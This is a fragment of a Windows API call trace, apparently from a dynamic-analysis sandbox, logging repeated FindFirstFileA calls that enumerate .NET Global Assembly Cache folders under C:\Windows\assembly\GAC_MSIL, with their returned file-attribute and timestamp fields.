[0236.932] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa953f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa953f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.938] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa953f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa953f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.943] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Drawing\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa953f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa953f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.948] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa97a060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa97a060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.963] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Drawing.Design\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa9a01c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa9a01c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.969] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa9a01c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa9a01c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.974] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel\\3.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa9a01c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa9a01c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.985] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa9c6320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa9c6320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0236.991] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors\\3.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa9c6320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa9c6320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0236.996] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa9ec480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa9ec480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.001] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.IO.Log\\3.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa9ec480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xa9ec480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.008] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa125e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa125e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.014] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdde012a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa125e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa125e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.019] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa125e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa125e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.025] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa38740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa38740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.031] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xaa38740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa38740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.036] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xaa38740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa38740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.042] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa5e8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa5e8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.049] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Management.Instrumentation\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa5e8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa5e8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.055] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa84a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa84a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.061] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Messaging\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa84a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa84a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.067] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Net\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaa84a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaa84a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.073] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Net\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaaaab60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaaaab60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.080] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaaaab60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaaaab60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.087] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Remoting\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaad0cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaad0cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.093] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaad0cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaad0cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.101] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization\\3.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaaf6e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaaf6e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.113] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaaf6e20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xaaf6e20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.125] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Runtime.Serialization.Formatters.Soap\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab1cf80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab1cf80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.135] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Security\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab430e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab430e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.141] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Security\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab430e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab430e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.146] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab430e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab430e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.153] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel\\3.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab69240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab69240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.158] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab69240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab69240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.164] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Install\\3.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab8f3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab8f3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.170] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab8f3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab8f3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.187] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.WasHosting\\3.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xab8f3a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xab8f3a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.192] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xabb5500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xabb5500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.200] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceModel.Web\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xabdb660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xabdb660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.205] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde06284, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xabdb660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xabdb660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.211] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.ServiceProcess\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xac017c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac017c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.217] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Speech\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac017c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac017c0, 